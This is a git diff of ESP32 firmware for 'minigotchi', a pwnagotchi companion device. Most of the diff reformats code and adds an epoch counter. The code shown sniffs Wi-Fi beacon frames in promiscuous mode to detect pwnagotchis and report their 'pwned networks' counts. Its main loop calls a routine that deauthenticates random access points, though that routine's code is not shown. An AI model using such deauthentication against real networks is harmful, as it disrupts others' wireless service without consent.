Serial.println("(^-^) Advertisment finished!"); Serial.println(" "); Display::cleanDisplayFace("(^-^)"); Display::attachSmallText("Advertisment finished!"); - } else { - // do nothing but still idle - } + } else { + // do nothing but still idle + } } diff --git a/minigotchi-ESP32/frame.h b/minigotchi-ESP32/frame.h index b49bc6f..97f4d78 100644 --- a/minigotchi-ESP32/frame.h +++ b/minigotchi-ESP32/frame.h @@ -1,42 +1,41 @@ /** * frame.h: header files for frame.cpp -*/ + */ #ifndef FRAME_H #define FRAME_H -#include "display.h" #include "config.h" +#include "display.h" +#include +#include #include -#include #include -#include -#include +#include class Frame { public: - static void pack(); - static bool send(); - static void advertise(); - static const uint8_t header[]; - static const uint8_t IDWhisperPayload; - static const uint8_t IDWhisperCompression; - static const uint8_t IDWhisperIdentity; - static const uint8_t IDWhisperSignature; - static const uint8_t IDWhisperStreamHeader; - static const uint8_t SignatureAddr[]; - static const uint8_t BroadcastAddr[]; - static const uint16_t wpaFlags; - static bool sent; - static size_t frameSize; - static std::vector beaconFrame; - static size_t payloadSize; - static const size_t chunkSize; - -private: - static void init(); - static void essid(); + static void pack(); + static bool send(); + static void advertise(); + static const uint8_t header[]; + static const uint8_t IDWhisperPayload; + static const uint8_t IDWhisperCompression; + static const uint8_t IDWhisperIdentity; + static const uint8_t IDWhisperSignature; + static const uint8_t IDWhisperStreamHeader; + static const uint8_t SignatureAddr[]; + static const uint8_t BroadcastAddr[]; + static const uint16_t wpaFlags; + static bool sent; + static size_t frameSize; + static std::vector beaconFrame; + static size_t payloadSize; + static const size_t chunkSize; +private: + static void init(); + static void essid(); }; #endif // FRAME_H diff --git a/minigotchi-ESP32/minigotchi-ESP32.ino b/minigotchi-ESP32/minigotchi-ESP32.ino index fc30788..9adf3f5 100644 --- a/minigotchi-ESP32/minigotchi-ESP32.ino +++ b/minigotchi-ESP32/minigotchi-ESP32.ino @@ -13,11 +13,11 @@ void setup() { minigotchi.boot(); } -/** developer note: +/** developer note: * * everything should have been moved to minigotchi.cpp * as the program becomes more complicated, it gets easier to maintain all the main features in one file - * + * */ void loop() { @@ -37,4 +37,4 @@ void loop() { // deauth random access point minigotchi.deauth(); delay(250); -} \ No newline at end of file +} diff --git a/minigotchi-ESP32/minigotchi.cpp b/minigotchi-ESP32/minigotchi.cpp index 20786c8..703f99b 100644 --- a/minigotchi-ESP32/minigotchi.cpp +++ b/minigotchi-ESP32/minigotchi.cpp @@ -1,126 +1,147 @@ /** * minigotchi.cpp: handles system usage info, etc -*/ + */ #include "minigotchi.h" /** developer note: * - * the functions here provide info on the minigotchi, such as memory, temperature, etc. - * all this really does is print information to the serial terminal - * this is meant to be ran on startup. + * the functions here provide info on the minigotchi, such as memory, + * temperature, etc. all this really does is print information to the serial + * terminal this is meant to be ran on startup. * -*/ + */ -// this code is pretty disgusting and shitty but it makes minigotchi.ino less cluttered!!! +// this code is pretty disgusting and shitty but it makes minigotchi.ino less +// cluttered!!! + +// current epoch val +int Minigotchi::currentEpoch = 0; + +int Minigotchi::addEpoch() { + Minigotchi::currentEpoch++; + return Minigotchi::currentEpoch; +} + +void Minigotchi::epoch() { + Minigotchi::addEpoch(); + Serial.print("('-') Current Epoch: "); + Serial.println(Minigotchi::currentEpoch); + Serial.println(" "); +} // things to do when starting up void Minigotchi::boot() { - Display::startScreen(); - Serial.println(" "); - Serial.println("(^-^) Hi, I'm Minigotchi, your pwnagotchi's best friend!"); - Display::cleanDisplayFace("(^-^)"); - Display::attachSmallText("Hi, I'm Minigotchi"); - Serial.println(" "); - Serial.println("('-') You can edit my configuration parameters in config.cpp!"); - Serial.println(" "); - delay(250); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Edit my config.cpp!"); - delay(250); - Serial.println("(>-<) Starting now..."); - Serial.println(" "); - Display::cleanDisplayFace("(>-<)"); - Display::attachSmallText("Starting now"); - delay(250); - Serial.println("################################################"); - Serial.println("# BOOTUP PROCESS #"); - Serial.println("################################################"); - Serial.println(" "); - Deauth::list(); - Channel::init(Config::channel); - Minigotchi::info(); - Minigotchi::finish(); + Display::startScreen(); + Serial.println(" "); + Serial.println("(^-^) Hi, I'm Minigotchi, your pwnagotchi's best friend!"); + Display::cleanDisplayFace("(^-^)"); + Display::attachSmallText("Hi, I'm Minigotchi"); + Serial.println(" "); + Serial.println( + "('-') You can edit my configuration parameters in config.cpp!"); + Serial.println(" "); + delay(250); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("Edit my config.cpp!"); + delay(250); + Serial.println("(>-<) Starting now..."); + Serial.println(" "); + Display::cleanDisplayFace("(>-<)"); + Display::attachSmallText("Starting now"); + delay(250); + Serial.println("################################################"); + Serial.println("# BOOTUP PROCESS #"); + Serial.println("################################################"); + Serial.println(" "); + Deauth::list(); + Channel::init(Config::channel); + Minigotchi::info(); + Minigotchi::finish(); } void Minigotchi::info() { - delay(250); - Serial.println(" "); - Serial.println("('-') Current Minigotchi Stats: "); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Current Minigotchi Stats:"); - version(); - mem(); - cpu(); - Serial.println(" "); - delay(250); + delay(250); + Serial.println(" "); + Serial.println("('-') Current Minigotchi Stats: "); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("Current Minigotchi Stats:"); + version(); + mem(); + cpu(); + Serial.println(" "); + delay(250); } // if this can be printed, everything should have gone right... void Minigotchi::finish() { - Serial.println("################################################"); - Serial.println(" "); - Serial.println("('-') Started successfully!"); - Serial.println(" "); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Started sucessfully"); - delay(250); + Serial.println("################################################"); + Serial.println(" "); + Serial.println("('-') Started successfully!"); + Serial.println(" "); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("Started sucessfully"); + delay(250); } void Minigotchi::version() { - Serial.print("('-') Version: "); - Serial.println(Config::version.c_str()); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Version: " + (String) Config::version.c_str()); - delay(250); + Serial.print("('-') Version: "); + Serial.println(Config::version.c_str()); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("Version: " + (String)Config::version.c_str()); + delay(250); } void Minigotchi::mem() { - Serial.print("('-') Heap: "); - Serial.print(ESP.getFreeHeap()); - Serial.println(" bytes"); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("Heap: " + (String) ESP.getFreeHeap() + " bytes"); - delay(250); + Serial.print("('-') Heap: "); + Serial.print(ESP.getFreeHeap()); + Serial.println(" bytes"); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("Heap: " + (String)ESP.getFreeHeap() + " bytes"); + delay(250); } void Minigotchi::cpu() { - Serial.print("('-') CPU Frequency: "); - Serial.print(ESP.getCpuFreqMHz()); - Serial.println(" MHz"); - Display::cleanDisplayFace("('-')"); - Display::attachSmallText("CPU Frequency: " + (String) ESP.getCpuFreqMHz() + " MHz"); - delay(250); + Serial.print("('-') CPU Frequency: "); + Serial.print(ESP.getCpuFreqMHz()); + Serial.println(" MHz"); + Display::cleanDisplayFace("('-')"); + Display::attachSmallText("CPU Frequency: " + (String)ESP.getCpuFreqMHz() + + " MHz"); + delay(250); } /** developer note: * - * these functions are much like the pwnagotchi's monstart and monstop which start and stop monitor mode. neat! + * these functions are much like the pwnagotchi's monstart and monstop which + * start and stop monitor mode. neat! * - * obviously i like to keep things consistent with the pwnagotchi, this is one of those things. + * obviously i like to keep things consistent with the pwnagotchi, this is one + * of those things. * -*/ + */ /** developer note: * - * to prevent issues we put the minigotchi back into client mode which is the "default" + * to prevent issues we put the minigotchi back into client mode which is the + * "default" * -*/ + */ void Minigotchi::monStart() { - // disconnect from WiFi if we were at all - WiFi.disconnect(); + // disconnect from WiFi if we were at all + WiFi.disconnect(); - // revert to station mode - esp_wifi_set_mode(WIFI_MODE_STA); - esp_wifi_set_promiscuous(true); + // revert to station mode + esp_wifi_set_mode(WIFI_MODE_STA); + esp_wifi_set_promiscuous(true); } void Minigotchi::monStop() { - esp_wifi_set_promiscuous(false); + esp_wifi_set_promiscuous(false); - // revert to station mode - esp_wifi_set_mode(WIFI_MODE_STA); + // revert to station mode + esp_wifi_set_mode(WIFI_MODE_STA); } /** developer note: @@ -129,34 +150,27 @@ void Minigotchi::monStop() { * it is advertising it's own presence, hence the reason there being a constant * Frame::stop(); and Frame::start(); in each function * - * when it comes to any of these features, you can't just call something and expect it to run normally - * ex: calling Deauth::deauth(); - * because you're gonna get the error: + * when it comes to any of these features, you can't just call something and + * expect it to run normally ex: calling Deauth::deauth(); because you're gonna + * get the error: * * (X-X) No access point selected. Use select() first. * ('-') Told you so! * - * the card is still busy in monitor mode on a certain channel(advertising), and the AP's we're looking for could be on other channels - * hence we need to call Frame::stop(); to stop this then we can do what we want... + * the card is still busy in monitor mode on a certain channel(advertising), and + * the AP's we're looking for could be on other channels hence we need to call + * Frame::stop(); to stop this then we can do what we want... * -*/ + */ // channel cycling -void Minigotchi::cycle() { - Channel::cycle(); -} +void Minigotchi::cycle() { Channel::cycle(); } // pwnagotchi detection -void Minigotchi::detect() { - Pwnagotchi::detect(); -} +void Minigotchi::detect() { Pwnagotchi::detect(); } // deauthing -void Minigotchi::deauth() { - Deauth::deauth(); -} +void Minigotchi::deauth() { Deauth::deauth(); } // advertising -void Minigotchi::advertise() { - Frame::advertise(); -} \ No newline at end of file +void Minigotchi::advertise() { Frame::advertise(); } diff --git a/minigotchi-ESP32/minigotchi.h b/minigotchi-ESP32/minigotchi.h index 2bfc838..d49bf20 100644 --- a/minigotchi-ESP32/minigotchi.h +++ b/minigotchi-ESP32/minigotchi.h @@ -1,35 +1,37 @@ /** * minigotchi.h: header files for minigotchi.cpp -*/ + */ #ifndef MINIGOTCHI_H #define MINIGOTCHI_H -#include "pwnagotchi.h" -#include "frame.h" -#include "deauth.h" #include "channel.h" #include "config.h" +#include "deauth.h" #include "display.h" +#include "frame.h" +#include "pwnagotchi.h" #include #include #include class Minigotchi { public: - static void boot(); - static void finish(); - static void info(); - static void version(); - static void mem(); - static void cpu(); - static void monStart(); - static void monStop(); - static void cycle(); - static void detect(); - static void deauth(); - static void advertise(); - + static void boot(); + static void finish(); + static void info(); + static void version(); + static void mem(); + static void cpu(); + static void monStart(); + static void monStop(); + static void cycle(); + static void detect(); + static void deauth(); + static void advertise(); + static void epoch(); + static int addEpoch(); + static int currentEpoch; }; #endif // MINIGOTCHI_H diff --git a/minigotchi-ESP32/pwnagotchi.cpp b/minigotchi-ESP32/pwnagotchi.cpp index 9ef5ee7..d8a7083 100644 --- a/minigotchi-ESP32/pwnagotchi.cpp +++ b/minigotchi-ESP32/pwnagotchi.cpp @@ -1,180 +1,183 @@ /** * pwnagotchi.cpp: sniffs for pwnagotchi beacon frames * source: https://github.com/justcallmekoko/ESP32Marauder -*/ + */ #include "pwnagotchi.h" /** developer note: * - * essentially the pwnagotchi sends out a frame(with JSON) while associated to a network - * if the minigotchi listens for a while it should find something - * this is under the assumption that we put the minigotchi on the same channel as the pwnagotchi - * or one of the channels that the pwnagotchi listens on - * the JSON frame it sends out should have some magic id attached to it (numbers 222-226) so it is identified by pwngrid - * however we don't need to search for such things + * essentially the pwnagotchi sends out a frame(with JSON) while associated to a + * network if the minigotchi listens for a while it should find something this + * is under the assumption that we put the minigotchi on the same channel as the + * pwnagotchi or one of the channels that the pwnagotchi listens on the JSON + * frame it sends out should have some magic id attached to it (numbers 222-226) + * so it is identified by pwngrid however we don't need to search for such + * things * -*/ + */ // start off false bool Pwnagotchi::pwnagotchiDetected = false; -void Pwnagotchi::getMAC(char* addr, const unsigned char* buff, int offset) { - snprintf(addr, 18, "%02x:%02x:%02x:%02x:%02x:%02x", - buff[offset], buff[offset + 1], buff[offset + 2], - buff[offset + 3], buff[offset + 4], buff[offset + 5]); +void Pwnagotchi::getMAC(char *addr, const unsigned char *buff, int offset) { + snprintf(addr, 18, "%02x:%02x:%02x:%02x:%02x:%02x", buff[offset], + buff[offset + 1], buff[offset + 2], buff[offset + 3], + buff[offset + 4], buff[offset + 5]); } std::string Pwnagotchi::extractMAC(const unsigned char *buff) { - char addr[] = "00:00:00:00:00:00"; - getMAC(addr, buff, 10); - return std::string(addr); + char addr[] = "00:00:00:00:00:00"; + getMAC(addr, buff, 10); + return std::string(addr); } void Pwnagotchi::detect() { - // cool animation - for (int i = 0; i < 5; ++i) { - Serial.println("(0-o) Scanning for Pwnagotchi."); - Display::cleanDisplayFace("(0-o)"); - Display::attachSmallText("Scanning for Pwnagotchi."); - delay(250); - Serial.println("(o-0) Scanning for Pwnagotchi.."); - Display::cleanDisplayFace("(o-0)"); - Display::attachSmallText("Scanning for Pwnagotchi.."); - delay(250); - Serial.println("(0-o) Scanning for Pwnagotchi..."); - Display::cleanDisplayFace("(0-o)"); - Display::attachSmallText("Scanning for Pwnagotchi..."); - delay(250); - Serial.println(" "); - delay(250); - } - - // delay for scanning + // cool animation + for (int i = 0; i < 5; ++i) { + Serial.println("(0-o) Scanning for Pwnagotchi."); + Display::cleanDisplayFace("(0-o)"); + Display::attachSmallText("Scanning for Pwnagotchi."); delay(250); - - // set mode and callback - Minigotchi::monStart(); - esp_wifi_set_promiscuous_rx_cb(pwnagotchiCallback); - - // check if the pwnagotchiCallback wasn't triggered during scanning - if (!pwnagotchiDetected) { - // only searches on your current channel and such afaik, - // so this only applies for the current searching area - Minigotchi::monStop(); - Pwnagotchi::stopCallback(); - Serial.println("(;-;) No Pwnagotchi found"); - Display::cleanDisplayFace("(;-;)"); - Display::attachSmallText("No Pwnagotchi found."); - Serial.println(" "); - } else if (pwnagotchiDetected) { - Minigotchi::monStop(); - Pwnagotchi::stopCallback(); - } else { - Minigotchi::monStop(); - Pwnagotchi::stopCallback(); - Serial.println("(X-X) How did this happen?"); - Display::cleanDisplayFace("(X-X)"); - Display::attachSmallText("How did this happen?"); - } + Serial.println("(o-0) Scanning for Pwnagotchi.."); + Display::cleanDisplayFace("(o-0)"); + Display::attachSmallText("Scanning for Pwnagotchi.."); + delay(250); + Serial.println("(0-o) Scanning for Pwnagotchi..."); + Display::cleanDisplayFace("(0-o)"); + Display::attachSmallText("Scanning for Pwnagotchi..."); + delay(250); + Serial.println(" "); + delay(250); + } + + // delay for scanning + delay(250); + + // set mode and callback + Minigotchi::monStart(); + esp_wifi_set_promiscuous_rx_cb(pwnagotchiCallback); + + // check if the pwnagotchiCallback wasn't triggered during scanning + if (!pwnagotchiDetected) { + // only searches on your current channel and such afaik, + // so this only applies for the current searching area + Minigotchi::monStop(); + Pwnagotchi::stopCallback(); + Serial.println("(;-;) No Pwnagotchi found"); + Display::cleanDisplayFace("(;-;)"); + Display::attachSmallText("No Pwnagotchi found."); + Serial.println(" "); + } else if (pwnagotchiDetected) { + Minigotchi::monStop(); + Pwnagotchi::stopCallback(); + } else { + Minigotchi::monStop(); + Pwnagotchi::stopCallback(); + Serial.println("(X-X) How did this happen?"); + Display::cleanDisplayFace("(X-X)"); + Display::attachSmallText("How did this happen?"); + } } // patch for crashes -void Pwnagotchi::stopCallback() { - esp_wifi_set_promiscuous_rx_cb(nullptr); -} +void Pwnagotchi::stopCallback() { esp_wifi_set_promiscuous_rx_cb(nullptr); } + +// source: +// https://github.com/justcallmekoko/ESP32Marauder/blob/master/esp32_marauder/WiFiScan.cpp#L2439 +void Pwnagotchi::pwnagotchiCallback(void *buf, + wifi_promiscuous_pkt_type_t type) { + wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t *)buf; + WifiMgmtHdr *frameControl = (WifiMgmtHdr *)snifferPacket->payload; + wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; + int len = snifferPacket->rx_ctrl.sig_len; + + if (type == WIFI_PKT_MGMT) { + len -= 4; + int fctl = ntohs(frameControl->fctl); + const wifi_ieee80211_packet_t *ipkt = + (wifi_ieee80211_packet_t *)snifferPacket->payload; + const WifiMgmtHdr *hdr = &ipkt->hdr; + + // check if it is a beacon frame + if (snifferPacket->payload[0] == 0x80) { + // extract mac + char addr[] = "00:00:00:00:00:00"; + getMAC(addr, snifferPacket->payload, 10); + String src = addr; + + // check if the source MAC matches the target + if (src == "de:ad:be:ef:de:ad") { + pwnagotchiDetected = true; + Serial.println("(^-^) Pwnagotchi detected!"); + Serial.println(" "); + Display::cleanDisplayFace("(^-^)"); + Display::attachSmallText("Pwnagotchi detected!"); + + // extract the ESSID from the beacon frame + String essid; + + // "borrowed" from ESP32 Marauder + for (int i = 38; i < len; i++) { + if (isAscii(snifferPacket->payload[i])) { + essid.concat((char)snifferPacket->payload[i]); + } else { + essid.concat("?"); + } + } + + // network related info + Serial.print("(^-^) RSSI: "); + Serial.println(snifferPacket->rx_ctrl.rssi); + Serial.print("(^-^) Channel: "); + Serial.println(snifferPacket->rx_ctrl.channel); + Serial.print("(^-^) BSSID: "); + Serial.println(addr); + Serial.print("(^-^) ESSID: "); + Serial.println(essid); + Serial.println(" "); -// source: https://github.com/justcallmekoko/ESP32Marauder/blob/master/esp32_marauder/WiFiScan.cpp#L2439 -void Pwnagotchi::pwnagotchiCallback(void *buf, wifi_promiscuous_pkt_type_t type) { - wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; - WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; - wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; - int len = snifferPacket->rx_ctrl.sig_len; - - if (type == WIFI_PKT_MGMT) { - len -= 4; - int fctl = ntohs(frameControl->fctl); - const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; - const WifiMgmtHdr *hdr = &ipkt->hdr; - - // check if it is a beacon frame - if (snifferPacket->payload[0] == 0x80) { - // extract mac - char addr[] = "00:00:00:00:00:00"; - getMAC(addr, snifferPacket->payload, 10); - String src = addr; - - // check if the source MAC matches the target - if (src == "de:ad:be:ef:de:ad") { - pwnagotchiDetected = true; - Serial.println("(^-^) Pwnagotchi detected!"); - Serial.println(" "); - Display::cleanDisplayFace("(^-^)"); - Display::attachSmallText("Pwnagotchi detected!"); - - // extract the ESSID from the beacon frame - String essid; - - // "borrowed" from ESP32 Marauder - for (int i = 38; i < len; i++) { - if (isAscii(snifferPacket->payload[i])) { - essid.concat((char)snifferPacket->payload[i]); - } else { - essid.concat("?"); - } - } - - // network related info - Serial.print("(^-^) RSSI: "); - Serial.println(snifferPacket->rx_ctrl.rssi); - Serial.print("(^-^) Channel: "); - Serial.println(snifferPacket->rx_ctrl.channel); - Serial.print("(^-^) BSSID: "); - Serial.println(addr); - Serial.print("(^-^) ESSID: "); - Serial.println(essid); - Serial.println(" "); - - // parse the ESSID as JSON - DynamicJsonDocument jsonBuffer(2048); - DeserializationError error = deserializeJson(jsonBuffer, essid); - - // check if json parsing is successful - if (error) { - Serial.println(F("(X-X) Could not parse Pwnagotchi json: ")); - Serial.print("(X-X) "); - Serial.println(error.c_str()); - Display::cleanDisplayFace("(X-X)"); - Display::attachSmallText("Could not parse Pwnagotchi json: " + (String) error.c_str()); - Serial.println(" "); - } else { - Serial.println("(^-^) Successfully parsed json!"); - Serial.println(" "); - Display::cleanDisplayFace("(^-^)"); - Display::attachSmallText("Successfully parsed json!"); - // find out some stats - String name = jsonBuffer["name"].as(); - String pwndTot = jsonBuffer["pwnd_tot"].as(); - - if (name == "null") { - name = "N/A"; - } - - if (pwndTot == "null") { - pwndTot = "N/A"; - } - - // print the info - Serial.print("(^-^) Pwnagotchi name: "); - Serial.println(name); - Serial.print("(^-^) Pwned Networks: "); - Serial.println(pwndTot); - Serial.print(" "); - Display::cleanDisplayFace("(^-^)"); - Display::attachSmallText("Pwnagotchi name: " + (String) name); - Display::attachSmallText("Pwned Networks: " + (String) pwndTot); - } - } + // parse the ESSID as JSON + DynamicJsonDocument jsonBuffer(2048); + DeserializationError error = deserializeJson(jsonBuffer, essid); + + // check if json parsing is successful + if (error) { + Serial.println(F("(X-X) Could not parse Pwnagotchi json: ")); + Serial.print("(X-X) "); + Serial.println(error.c_str()); + Display::cleanDisplayFace("(X-X)"); + Display::attachSmallText("Could not parse Pwnagotchi json: " + + (String)error.c_str()); + Serial.println(" "); + } else { + Serial.println("(^-^) Successfully parsed json!"); + Serial.println(" "); + Display::cleanDisplayFace("(^-^)"); + Display::attachSmallText("Successfully parsed json!"); + // find out some stats + String name = jsonBuffer["name"].as(); + String pwndTot = jsonBuffer["pwnd_tot"].as(); + + if (name == "null") { + name = "N/A"; + } + + if (pwndTot == "null") { + pwndTot = "N/A"; + } + + // print the info + Serial.print("(^-^) Pwnagotchi name: "); + Serial.println(name); + Serial.print("(^-^) Pwned Networks: "); + Serial.println(pwndTot); + Serial.print(" "); + Display::cleanDisplayFace("(^-^)"); + Display::attachSmallText("Pwnagotchi name: " + (String)name); + Display::attachSmallText("Pwned Networks: " + (String)pwndTot); } + } } + } } diff --git a/minigotchi-ESP32/pwnagotchi.h b/minigotchi-ESP32/pwnagotchi.h index eac3dee..3170b81 100644 --- a/minigotchi-ESP32/pwnagotchi.h +++ b/minigotchi-ESP32/pwnagotchi.h @@ -1,47 +1,48 @@ /** * pwnagotchi.h: header files for pwnagotchi.cpp -*/ + */ #ifndef PWNAGOTCHI_H #define PWNAGOTCHI_H #include "frame.h" #include "minigotchi.h" +#include #include #include #include #include -#include #include #include class Pwnagotchi { public: - static void detect(); - static void pwnagotchiCallback(void *buf, wifi_promiscuous_pkt_type_t type); - static void stopCallback(); + static void detect(); + static void pwnagotchiCallback(void *buf, wifi_promiscuous_pkt_type_t type); + static void stopCallback(); private: - static std::string extractMAC(const unsigned char *buff); - static void getMAC(char* addr, const unsigned char* buff, int offset); - static std::string essid; - static bool pwnagotchiDetected; + static std::string extractMAC(const unsigned char *buff); + static void getMAC(char *addr, const unsigned char *buff, int offset); + static std::string essid; + static bool pwnagotchiDetected; + + // source: + // https://github.com/justcallmekoko/ESP32Marauder/blob/c0554b95ceb379d29b9a8925d27cc2c0377764a9/esp32_marauder/WiFiScan.h#L213 + typedef struct { + int16_t fctl; + int16_t duration; + uint8_t da; + uint8_t sa; + uint8_t bssid; + int16_t seqctl; + unsigned char payload[]; + } __attribute__((packed)) WifiMgmtHdr; - // source: https://github.com/justcallmekoko/ESP32Marauder/blob/c0554b95ceb379d29b9a8925d27cc2c0377764a9/esp32_marauder/WiFiScan.h#L213 - typedef struct { - int16_t fctl; - int16_t duration; - uint8_t da; - uint8_t sa; - uint8_t bssid; - int16_t seqctl; - unsigned char payload[]; - } __attribute__((packed)) WifiMgmtHdr; - - typedef struct { - uint8_t payload[0]; - WifiMgmtHdr hdr; - } wifi_ieee80211_packet_t; + typedef struct { + uint8_t payload[0]; + WifiMgmtHdr hdr; + } wifi_ieee80211_packet_t; }; -#endif // PWNAGOTCHI_H \ No newline at end of file +#endif // PWNAGOTCHI_H